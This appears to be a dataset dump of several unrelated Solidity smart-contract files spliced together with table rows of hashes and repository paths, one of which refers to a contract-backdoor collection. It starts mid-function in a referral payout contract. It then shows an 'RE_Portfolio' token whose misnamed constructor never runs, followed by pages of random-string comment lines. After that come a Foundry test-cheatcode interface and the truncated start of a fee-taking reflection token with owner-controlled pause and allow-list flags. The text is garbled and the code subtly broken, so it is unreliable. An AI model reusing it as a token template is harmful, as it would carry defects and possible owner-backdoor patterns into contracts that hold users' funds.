uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
_ref1= uid2Investor[_ref1].referrer;
ln++;
}
}
if (_allReferrerAmount > 0) {
referenceAccount_.transfer(_allReferrerAmount);
}
}
}
| 288,206 | 10,512 |
238bfdccc842d17bb87b180840710ff86391574ec1003e224a47cae0391eed61
| 19,661 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x9851f32a68498a456c711d0c1130f198f3058c84.sol
| 9,351 | 16,061 |
pragma solidity ^0.4.21 ;
contract RE_Portfolio_XIV_883 {
mapping (address => uint256) public balanceOf;
string public name = " RE_Portfolio_XIV_883 " ;
string public symbol = " RE883XIV " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1544348011475110000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'mission - Lignes 1 10
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < x5Vts2z5Cq772X6WtJR8pW1Un7OKQI6a5LpsEKc73NKQuo3Z4BeK3ME9ugSrw0d9 >
// < 1E-018 limites [ 1E-018 ; 12117403,5211375 ] >
// < 0x000000000000000000000000000000000000000000000000000000004839B2B4 >
// < pB5A0Lm77lsvV296vJfouKCB8N333Xs2508O6b6UgQ66u138yYtZr4e6QuGKVG1B >
// < 1E-018 limites [ 12117403,5211375 ; 72283429,5542331 ] >
// < 0x000000000000000000000000000000000000000000000004839B2B41AED7C49F >
// < RE_Portfolio_XIV_metadata_line_3_____MS_Amlin_Plc_20250515 >
// < 57j804app68uttTCx2jHn2WLgxKr8u25t86810z4lk85YTlaGQaqGOU5I7515jek >
// < 1E-018 limites [ 72283429,5542331 ; 138917010,987791 ] >
// < 0x00000000000000000000000000000000000000000000001AED7C49F33C028B5E >
// < RE_Portfolio_XIV_metadata_line_4_____MS_Amlin_PLC_BBBp_20250515 >
// < UUkeeea0A82Anx8usU2jQL5q1pmfjF415K83mL2FVjio0ixb7qk1WNp3Np3KO1Xs >
// < 1E-018 limites [ 138917010,987791 ; 150740217,679471 ] >
// < 0x000000000000000000000000000000000000000000000033C028B5E3827B537B >
// < RE_Portfolio_XIV_metadata_line_5_____MS_Amlin_Underwriting_Limited_20250515 >
// < WMZ8C6Q5qZ53c9i7MeWiCAHPXv0NZyaoHPnDB0HZNFpZSAlXKLD0O2IabUMfga1g >
// < 1E-018 limites [ 150740217,679471 ; 194247264,480008 ] >
// < 0x00000000000000000000000000000000000000000000003827B537B485CDCFA4 >
// < RE_Portfolio_XIV_metadata_line_6_____MS_Amlin_Underwriting_Limited_20250515 >
// < gM6o88XIxz05817IE6RyU9zbNxzs6VX19A86m59AowccUB8Bow7mVH5e5F64VqSa >
// < 1E-018 limites [ 194247264,480008 ; 219903880,764582 ] >
// < 0x0000000000000000000000000000000000000000000000485CDCFA451EBAB360 >
// < RE_Portfolio_XIV_metadata_line_7_____MS_Amlin_Underwriting_Limited_20250515 >
// < f4tDM6YTsAqP7U6F817QBAEn1O9alV3iM19VH1ztZTosrl2K0Ya28M28oR88fX6b >
// < 1E-018 limites [ 219903880,764582 ; 261370390,417575 ] >
// < 0x000000000000000000000000000000000000000000000051EBAB360615E392B5 >
// < xZssI11x93PJf0375DKLKMykmInbAXC03Fqcb0BouplFVZqX59H6i9i29ocy2LPS >
// < 1E-018 limites [ 261370390,417575 ; 310154419,08619 ] >
// < 0x0000000000000000000000000000000000000000000000615E392B5738AA17E8 >
// < RE_Portfolio_XIV_metadata_line_9_____Munchener_Ruck_Munich_Re__Ap_20250515 >
// < GF8XEi8d8Pd6SeUhT75Ut4Zz51e3Po8w5KYJ2GBE3QX9rXH7z5667eH4xUy59d9H >
// < 1E-018 limites [ 310154419,08619 ; 351448543,719141 ] >
// < 0x0000000000000000000000000000000000000000000000738AA17E882ECBED57 >
// < leXW729EvKBt9T0nMoSUWGb1791sxX67ROBV1aQOi24TCp56AsB5TSMQHNkszOkO >
// < 1E-018 limites [ 351448543,719141 ; 368934345,889944 ] >
// < 0x000000000000000000000000000000000000000000000082ECBED578970524D0 >
// Programme d'mission - Lignes 11 20
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XIV_metadata_line_11_____Munich_Re_Group_20250515 >
// < nSKL2c363g3BLa5Z8I4OsBH9AP9800H9aNNUX9815uM3m06BjMfhYmJL7x9oL2ui >
// < 1E-018 limites [ 368934345,889944 ; 389958536,948538 ] >
// < 0x00000000000000000000000000000000000000000000008970524D0914558372 >
// < RE_Portfolio_XIV_metadata_line_12_____Munich_Re_Group_20250515 >
// < Fi40jHIdQO5bOCsCE8684H10HHM104O32b4XNqZVG098IMb6Z9LjwDSw44MzqN5I >
// < 1E-018 limites [ 389958536,948538 ; 435388713,555604 ] >
// < 0x0000000000000000000000000000000000000000000000914558372A231E762F >
// < RE_Portfolio_XIV_metadata_line_13_____Munich_Re_Group_20250515 >
// < YW49f5KG8LP4TBS9m04sbW77F8Y770k387Oj7hy6FvvVzwaGiQCdN75KxH36aLwh >
// < 1E-018 limites [ 435388713,555604 ; 486969634,303127 ] >
// < 0x0000000000000000000000000000000000000000000000A231E762FB5690B35A >
// < RE_Portfolio_XIV_metadata_line_14_____Munich_Re_Syndicate_Limited_20250515 >
// < IG3X3F9KZ5i84Gp33LE4v2GT9l2I71uX0FrsbOnTmWXyoJZ3YAJpItKm856bLk09 >
// < 1E-018 limites [ 486969634,303127 ; 498847945,56237 ] >
// < 0x0000000000000000000000000000000000000000000000B5690B35AB9D5D90B0 >
// < RE_Portfolio_XIV_metadata_line_15_____Munich_Re_Syndicate_Limited_20250515 >
// < zzwsgEhuK5KSx2QKdu0ltIOC0JA8rOSVa89F4CfF7IP5u893IUjM82F7mIJm7oFa >
// < 1E-018 limites [ 498847945,56237 ; 518787182,556995 ] >
// < 0x0000000000000000000000000000000000000000000000B9D5D90B0C14366D23 >
// < RE_Portfolio_XIV_metadata_line_16_____Munich_Re_Syndicate_Limited_20250515 >
// < 1h3l2OaHHBHAvoV9ab04z8aq63Qv03hjGGg5BrE28VRm2hU5RnMi604J5itY5369 >
// < 1E-018 limites [ 518787182,556995 ; 538720502,724537 ] >
// < 0x0000000000000000000000000000000000000000000000C14366D23C8B064254 >
// < RE_Portfolio_XIV_metadata_line_17_____Munich_Reinsurance_Company_20250515 >
// < 6in8MpHCS3AX9y2wU54pKw7aF2t7cZL6Sn7iC9E00KJR6FUhY3eXCr4PCw9Gq8pe >
// < 1E-018 limites [ 538720502,724537 ; 561929625,744253 ] >
// < 0x0000000000000000000000000000000000000000000000C8B064254D155C9202 >
// < RE_Portfolio_XIV_metadata_line_18_____Mutual_Reinsurance_Bureau_20250515 >
// < m0STK0z318eYLHL98AEP23if1RpEDVh12a8tI6V63pha1g9NN2Ipbq734abwmz6R >
// < 1E-018 limites [ 561929625,744253 ; 572623162,432259 ] >
// < 0x0000000000000000000000000000000000000000000000D155C9202D55199CC7 >
// < u4Uebd8v979X8Hp6Pk47572GZq7Jp1W6g316xW6VpeoDSjZ1YB2fSh0R9hY47ck9 >
// < 1E-018 limites [ 572623162,432259 ; 606718391,550442 ] >
// < 0x0000000000000000000000000000000000000000000000D55199CC7E2052CDA7 >
// < t500zc2OQzBWm8FnSze1v2hV83SXX250iZd32a188aUD8d9EK9be3MRnHKnO8D8s >
// < 1E-018 limites [ 606718391,550442 ; 643137191,242521 ] >
// < 0x0000000000000000000000000000000000000000000000E2052CDA7EF9657B48 >
// Programme d'mission - Lignes 21 30
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < 0e7lK37Gk59BdaFn1VOFL1LLRdkzAnbTl1g25T16Yjg0Ip0CXNZ22DC0yI60h97r >
// < 1E-018 limites [ 643137191,242521 ; 658000285,62596 ] >
// < 0x0000000000000000000000000000000000000000000000EF9657B48F51FCC386 >
// < RE_Portfolio_XIV_metadata_line_22_____Navigators_Ins_Co_A_A_20250515 >
// < 0G8Vr72Ij885VT5PMz214S3g64zEL5f07Jo8bE4fCtboanp4y4T0w9nP0UOI4Khj >
// < 1E-018 limites [ 658000285,62596 ; 737808183,566224 ] >
// < 0x000000000000000000000000000000000000000000000F51FCC386112DADF3A8 >
// < 77Z57Hf1vs8ihdC1017tiCqD2ZwlvXv3ZBqi3aD15HOtM46ej62D15K4Umg1vF0B >
// < 1E-018 limites [ 737808183,566224 ; 788150204,765719 ] >
// < 0x00000000000000000000000000000000000000000000112DADF3A81259BDC7B0 >
// < j2Lku1w867tqTLjHBszu9emBq8yIvH2U44xOd6IXuh569nOSZ3181zCu76fXzDd7 >
// < 1E-018 limites [ 788150204,765719 ; 812462552,295025 ] >
// < 0x000000000000000000000000000000000000000000001259BDC7B012EAA77A71 >
// < RE_Portfolio_XIV_metadata_line_25_____Neon_Underwriting_Limited_20250515 >
// < IuGgH35o773r0u250rV15GPW36q48jJS8092H662Ka1vq0SaTevY3j58Ka33zKUZ >
// < 1E-018 limites [ 812462552,295025 ; 859182749,164533 ] >
// < 0x0000000000000000000000000000000000000000000012EAA77A71140120D758 >
// < RE_Portfolio_XIV_metadata_line_26_____Neon_Underwriting_Limited_20250515 >
// < o33fgjH43kFpYE5MNNzMl8u042S1G0WoI5S9ol6Z37nDcwG03nJODJhqJjhdWRR3 >
// < 1E-018 limites [ 859182749,164533 ; 886672597,947944 ] >
// < 0x00000000000000000000000000000000000000000000140120D75814A4FB0586 >
// < RE_Portfolio_XIV_metadata_line_27_____New_Hampshire_Ins_Ap_A_20250515 >
// < pZ40I7ediK0mYQ2l92g2XX971MKioy0pL4bIL9ny85aX5wKF1lCObURyj4UYl1B5 >
// < 1E-018 limites [ 886672597,947944 ; 963425755,543964 ] >
// < 0x0000000000000000000000000000000000000000000014A4FB0586166E770BB6 >
// < sw5H61ZY7b4a8p5wA1s0ghb2885liN3iV2xqR3z3SUEtDjwsWdnvgJ0lO82WReh9 >
// < 1E-018 limites [ 963425755,543964 ; 1015707449,91526 ] >
// < 0x00000000000000000000000000000000000000000000166E770BB617A6169493 >
// < viS41171qp6PnkHg3yWY61GWk0In0dKZ4uOVXj597i97oyxvNR6j7QwRW0fHBet8 >
// < 1E-018 limites [ 1015707449,91526 ; 1034219423,962 ] >
// < 0x0000000000000000000000000000000000000000000017A616949318146D9C70 >
// < qF7m00AWiVW5AIM7A5bDe8rRj69zo2H2rK9ZorY6W1P934w544atV9TJ9LbDX80s >
// < 1E-018 limites [ 1034219423,962 ; 1045982336,26699 ] >
// < 0x0000000000000000000000000000000000000000000018146D9C70185A8A640E >
// Programme d'mission - Lignes 31 40
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < 8GGXdlr0PdUseHyjFXNXr9212b02XIFoJF65qjMV4yki13n99tvD5VenT7kW6jRS >
// < 1E-018 limites [ 1045982336,26699 ; 1103787829,04471 ] >
// < 0x00000000000000000000000000000000000000000000185A8A640E19B31692AC >
// < RE_Portfolio_XIV_metadata_line_32_____NKSJ_Holdings_Incorporated_20250515 >
// < pPrlpyM1CAWxch7T0iFy7WIL5Z34QU4B9KusJJwHv2zM9zF2V1D9027pXIxP7J8y >
// < 1E-018 limites [ 1103787829,04471 ; 1118141576,81781 ] >
// < 0x0000000000000000000000000000000000000000000019B31692AC1A08A4A765 >
// < RE_Portfolio_XIV_metadata_line_33_____Noacional_de_Reasseguros_20250515 >
// < 6dJo6f8od8juGGGv1rLKA75uq4Ql10I6Avm657v59O47r3Qyx4J2E6EVA4f3f8q6 >
// < 1E-018 limites [ 1118141576,81781 ; 1141141470,27767 ] >
// < 0x000000000000000000000000000000000000000000001A08A4A7651A91BBB4C7 >
// < RE_Portfolio_XIV_metadata_line_34_____Novae_Syndicates_Limited_20250515 >
// < trl4x30W3h5NVtbGMBfEy08o99PeKs3dR8KY07XKyRK24B8LPu723zOv0c5SmSUL >
// < 1E-018 limites [ 1141141470,27767 ; 1165277159,52978 ] >
// < 0x000000000000000000000000000000000000000000001A91BBB4C71B2197D864 >
// < RE_Portfolio_XIV_metadata_line_35_____Novae_Syndicates_Limited_20250515 >
// < 8z95BrEb70pqSe1C3gsuB15e5Qx40n5HrPg23352Ns2Wkov97e3AxGrSaKWO8ojh >
// < 1E-018 limites [ 1165277159,52978 ; 1232882860,41083 ] >
// < 0x000000000000000000000000000000000000000000001B2197D8641CB48DF54D >
// < RE_Portfolio_XIV_metadata_line_36_____Novae_Syndicates_Limited_20250515 >
// < vy8qm5YxFMIwELo9k8lC33SgcT77D5Rp5ZILSgvUO03E42AHomR4m4ztQApimSgC >
// < 1E-018 limites [ 1232882860,41083 ; ] >
// < 0x000000000000000000000000000000000000000000001CB48DF54D1E0E1A85C7 >
// < RE_Portfolio_XIV_metadata_line_37_____Odyssey_Re_20250515 >
// < G71923TXVOd5JsG44MYW7ubtFdphx892EqilV1sw9tM4f0W58WIxir7xnUlSQBf2 >
// < 1E-018 limites [ 1290856375,87123 ; 1365562355,90604 ] >
// < 0x000000000000000000000000000000000000000000001E0E1A85C71FCB62CD3A >
// < RE_Portfolio_XIV_metadata_line_38_____Odyssey_Re_Holdings_Corp_20250515 >
// < 56ofL2KZ745JgHB77mic6n61vHD5C5Y90O2YTg8q9OFg21E4w2S60U3umN3AX7Tp >
// < 1E-018 limites [ 1365562355,90604 ; 1421707651,22514 ] >
// < 0x000000000000000000000000000000000000000000001FCB62CD3A211A09B936 >
// < RE_Portfolio_XIV_metadata_line_39_____Odyssey_Re_Holdings_Corp_20250515 >
// < nZlJD224351Shp525xF7eGMd9375Q32851mnuJK1PfhiWYG8ro6k2WU4jdj7Hw60 >
// < 1E-018 limites [ 1421707651,22514 ; 1472011578,74957 ] >
// < 0x00000000000000000000000000000000000000000000211A09B9362245DF6CE6 >
// < RE_Portfolio_XIV_metadata_line_40_____Odyssey_Re_Holdings_Corporation_20250515 >
// < TGIXDSzN4apX4iBXki5k1hd54Oj5SleeXyW8WNLQN1JQylo0eJoJ8N1kcD6Xm8UG >
// < 1E-018 limites [ 1472011578,74957 ; 1544348011,47511 ] >
// < 0x000000000000000000000000000000000000000000002245DF6CE623F5080FEF >
}
| 145,217 | 10,513 |
d1db200b688fc0192af8219c95e98010b0414e79d9f777e6d276bdb704a9d8c8
| 14,367 |
.sol
|
Solidity
| false |
553845688
|
public-assembly/onchain
|
e7be9ecc9b8e65ace25e1e13c548a1c62eae0809
|
theme-registry/lib/curation-protocol/lib/forge-std/src/Vm.sol
| 2,723 | 11,431 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
pragma experimental ABIEncoderV2;
interface Vm {
struct Log {
bytes32[] topics;
bytes data;
}
// Sets block.timestamp (newTimestamp)
function warp(uint256) external;
// Sets block.height (newHeight)
function roll(uint256) external;
// Sets block.basefee (newBasefee)
function fee(uint256) external;
// Sets block.difficulty (newDifficulty)
function difficulty(uint256) external;
// Sets block.chainid
function chainId(uint256) external;
// Loads a storage slot from an address (who, slot)
function load(address,bytes32) external returns (bytes32);
// Stores a value to an address' storage slot, (who, slot, value)
function store(address,bytes32,bytes32) external;
// Signs data, (privateKey, digest) => (v, r, s)
function sign(uint256,bytes32) external returns (uint8,bytes32,bytes32);
// Gets the address for a given private key, (privateKey) => (address)
function addr(uint256) external returns (address);
// Gets the nonce of an account
function getNonce(address) external returns (uint64);
// Sets the nonce of an account; must be higher than the current nonce of the account
function setNonce(address, uint64) external;
// Performs a foreign function call via the terminal, (stringInputs) => (result)
function ffi(string[] calldata) external returns (bytes memory);
// Sets environment variables, (name, value)
function setEnv(string calldata, string calldata) external;
// Reads environment variables, (name) => (value)
function envBool(string calldata) external returns (bool);
function envUint(string calldata) external returns (uint256);
function envInt(string calldata) external returns (int256);
function envAddress(string calldata) external returns (address);
function envBytes32(string calldata) external returns (bytes32);
function envString(string calldata) external returns (string memory);
function envBytes(string calldata) external returns (bytes memory);
// Reads environment variables as arrays, (name, delim) => (value[])
function envBool(string calldata, string calldata) external returns (bool[] memory);
function envUint(string calldata, string calldata) external returns (uint256[] memory);
function envInt(string calldata, string calldata) external returns (int256[] memory);
function envAddress(string calldata, string calldata) external returns (address[] memory);
function envBytes32(string calldata, string calldata) external returns (bytes32[] memory);
function envString(string calldata, string calldata) external returns (string[] memory);
function envBytes(string calldata, string calldata) external returns (bytes[] memory);
// Sets the *next* call's msg.sender to be the input address
function prank(address) external;
// Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called
function startPrank(address) external;
function prank(address,address) external;
function startPrank(address,address) external;
// Resets subsequent calls' msg.sender to be `address(this)`
function stopPrank() external;
// Sets an address' balance, (who, newBalance)
function deal(address, uint256) external;
// Sets an address' code, (who, newCode)
function etch(address, bytes calldata) external;
// Expects an error on next call
function expectRevert(bytes calldata) external;
function expectRevert(bytes4) external;
function expectRevert() external;
// Records all storage reads and writes
function record() external;
// Gets all accessed reads and write slot from a recording session, for a given address
function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes);
function expectEmit(bool,bool,bool,bool) external;
function expectEmit(bool,bool,bool,bool,address) external;
// Mocks a call to an address, returning specified data.
// Calldata can either be strict or a partial match, e.g. if you only
// pass a Solidity selector to the expected calldata, then the entire Solidity
// function will be mocked.
function mockCall(address,bytes calldata,bytes calldata) external;
// Mocks a call to an address with a specific msg.value, returning specified data.
// Calldata match takes precedence over msg.value in case of ambiguity.
function mockCall(address,uint256,bytes calldata,bytes calldata) external;
// Clears all mocked calls
function clearMockedCalls() external;
// Expects a call to an address with the specified calldata.
// Calldata can either be a strict or a partial match
function expectCall(address,bytes calldata) external;
// Expects a call to an address with the specified msg.value and calldata
function expectCall(address,uint256,bytes calldata) external;
// Gets the code from an artifact file. Takes in the relative path to the json file
function getCode(string calldata) external returns (bytes memory);
// Labels an address in call traces
function label(address, string calldata) external;
// If the condition is false, discard this run's fuzz inputs and generate new ones
function assume(bool) external;
// Sets block.coinbase (who)
function coinbase(address) external;
function broadcast() external;
function broadcast(address) external;
function broadcast(uint256) external;
function startBroadcast() external;
function startBroadcast(address) external;
function startBroadcast(uint256) external;
// Stops collecting onchain transactions
function stopBroadcast() external;
// Reads the entire content of file to string, (path) => (data)
function readFile(string calldata) external returns (string memory);
// Get the path of the current project root
function projectRoot() external returns (string memory);
// Reads next line of file to string, (path) => (line)
function readLine(string calldata) external returns (string memory);
// (path, data) => ()
function writeFile(string calldata, string calldata) external;
// Writes line to file, creating a file if it does not exist.
// (path, data) => ()
function writeLine(string calldata, string calldata) external;
// (path) => ()
function closeFile(string calldata) external;
// - Path points to a directory.
// - The file doesn't exist.
// - The user lacks permissions to remove the file.
// (path) => ()
function removeFile(string calldata) external;
// Convert values to a string, (value) => (stringified value)
function toString(address) external returns(string memory);
function toString(bytes calldata) external returns(string memory);
function toString(bytes32) external returns(string memory);
function toString(bool) external returns(string memory);
function toString(uint256) external returns(string memory);
function toString(int256) external returns(string memory);
// Convert values from a string, (string) => (parsed value)
function parseBytes(string calldata) external returns (bytes memory);
function parseAddress(string calldata) external returns (address);
function parseUint(string calldata) external returns (uint256);
function parseInt(string calldata) external returns (int256);
function parseBytes32(string calldata) external returns (bytes32);
function parseBool(string calldata) external returns (bool);
// Record all the transaction logs
function recordLogs() external;
// Gets all the recorded logs, () => (logs)
function getRecordedLogs() external returns (Log[] memory);
// Snapshot the current state of the evm.
// Returns the id of the snapshot that was created.
// To revert a snapshot use `revertTo`
function snapshot() external returns(uint256);
// Revert the state of the evm to a previous snapshot
// Takes the snapshot id to revert to.
// This deletes the snapshot and all snapshots taken after the given snapshot id.
function revertTo(uint256) external returns(bool);
// Creates a new fork with the given endpoint and block and returns the identifier of the fork
function createFork(string calldata,uint256) external returns(uint256);
function createFork(string calldata) external returns(uint256);
function createSelectFork(string calldata,uint256) external returns(uint256);
function createSelectFork(string calldata) external returns(uint256);
// Takes a fork identifier created by `createFork` and sets the corresponding forked state as active.
function selectFork(uint256) external;
/// Returns the currently active fork
/// Reverts if no fork is currently active
function activeFork() external returns(uint256);
// Updates the currently active fork to given block number
// This is similar to `roll` but for the currently active fork
function rollFork(uint256) external;
// Updates the given fork to given block number
function rollFork(uint256 forkId, uint256 blockNumber) external;
// Marks that the account(s) should use persistent storage across fork swaps in a multifork setup
// Meaning, changes made to the state of this account will be kept when switching forks
function makePersistent(address) external;
function makePersistent(address, address) external;
function makePersistent(address, address, address) external;
function makePersistent(address[] calldata) external;
// Revokes persistent status from the address, previously added via `makePersistent`
function revokePersistent(address) external;
function revokePersistent(address[] calldata) external;
// Returns true if the account is marked as persistent
function isPersistent(address) external returns (bool);
// Returns the RPC url for the given alias
function rpcUrl(string calldata) external returns(string memory);
// Returns all rpc urls and their aliases `[alias, url][]`
function rpcUrls() external returns(string[2][] memory);
function deriveKey(string calldata, uint32) external returns (uint256);
function deriveKey(string calldata, string calldata, uint32) external returns (uint256);
// Adds a private key to the local forge wallet and returns the address
function rememberKey(uint256) external returns (address);
// parseJson
// Given a string of JSON, return the ABI-encoded value of provided key
// (stringified json, key) => (ABI-encoded data)
// Read the note below!
function parseJson(string calldata, string calldata) external returns(bytes memory);
// Given a string of JSON, return it as ABI-encoded, (stringified json, key) => (ABI-encoded data)
// Read the note below!
function parseJson(string calldata) external returns(bytes memory);
// Note:
// ----
// In case the returned value is a JSON object, it's encoded as a ABI-encoded tuple. As JSON objects
// as tuples, with the attributes in the order in which they are defined.
// For example: json = { 'a': 1, 'b': 0xa4tb......3xs}
// a: uint256
// b: address
// To decode that json, we need to define a struct or a tuple as follows:
// struct json = { uint256 a; address b; }
// decode the tuple in that order, and thus fail.
}
| 9,898 | 10,514 |
e7bbd07da6543fcba9bc35012651a8f79774d021e79e7e278d41424e38d988fd
| 29,650 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/8c/8C3CA8075b9d8bb682403EcF25ECEba7A3bc8899_AlternatesFinance.sol
| 5,201 | 18,757 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AlternatesFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Alternates Finance';
string private constant _symbol = 'ALT';
uint256 private _taxFee = 500;
uint256 private _burnFee = 0;
uint public max_tx_size = 1000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
